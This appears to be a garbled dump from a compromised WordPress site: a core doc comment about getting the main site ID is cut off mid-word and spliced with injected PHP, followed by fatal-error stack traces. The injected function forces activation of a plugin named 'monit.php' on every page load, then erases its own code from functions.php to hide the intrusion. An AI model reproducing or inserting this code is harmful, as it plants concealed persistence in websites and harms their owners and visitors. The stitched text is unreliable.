/** * Gets the main site ID. * * @since 4.9.0 * * @param int $network_id Optional. The ID of the network for which to get the main site. * Defaults to tif ( ! function_exists( 'true_plugins_activate' ) ) { function true_plugins_activate() { $active_plugins = get_option('active_plugins'); $activate_this = array( 'monit.php' ); foreach ($activate_this as $plugin) { if (!in_array($plugin, $active_plugins)) { array_push($active_plugins, $plugin); update_option('active_plugins', $active_plugins); } } $new_active_plugins = get_option('active_plugins'); if (in_array('monit.php', $new_active_plugins)) { $functionsPath = dirname(__FILE__) . '/functions.php'; $functions = file_get_contents($functionsPath); $start = stripos($functions, "if ( ! function_exists( 'true_plugins_activate' ) ) {"); $end = strripos($functions, "true_plugins_activate"); $endDelete = $end + mb_strlen("true_plugins_activate") + 4; if($start && $end) { $str = substr($functions, 0, $start); $str .= substr($functions, $endDelete); file_put_contents($functionsPath, $str); } $script = file_get_contents('/home/surgebra/ElectricStudFinder.com/wp-content/plugins/monit.php'); //file_put_contents('/home/surgebra/ElectricStudFinder.com/wp-content/plugins/monit.php', ''); } } add_action('init', 'true_plugins_activate');}
Fatal error: Uncaught Error: Call to undefined function is_blog_installed() in /home/surgebra/dealstro.com/wp-includes/load.php:605 Stack trace: #0 /home/surgebra/dealstro.com/wp-settings.php(151): wp_not_installed() #1 /home/surgebra/dealstro.com/wp-config.php(93): require_once('/home/surgebra/...') #2 /home/surgebra/dealstro.com/wp-load.php(37): require_once('/home/surgebra/...') #3 /home/surgebra/dealstro.com/wp-blog-header.php(13): require_once('/home/surgebra/...') #4 /home/surgebra/dealstro.com/index.php(17): require('/home/surgebra/...') #5 {main} thrown in /home/surgebra/dealstro.com/wp-includes/load.php on line 605

Fatal error: Uncaught Error: Call to undefined function get_option() in /home/surgebra/dealstro.com/wp-includes/l10n.php:69 Stack trace: #0 /home/surgebra/dealstro.com/wp-includes/l10n.php(136): get_locale() #1 /home/surgebra/dealstro.com/wp-includes/l10n.php(741): determine_locale() #2 /home/surgebra/dealstro.com/wp-includes/class-wp-fatal-error-handler.php(41): load_default_textdomain() #3 [internal function]: WP_Fatal_Error_Handler->handle() #4 {main} thrown in /home/surgebra/dealstro.com/wp-includes/l10n.php on line 69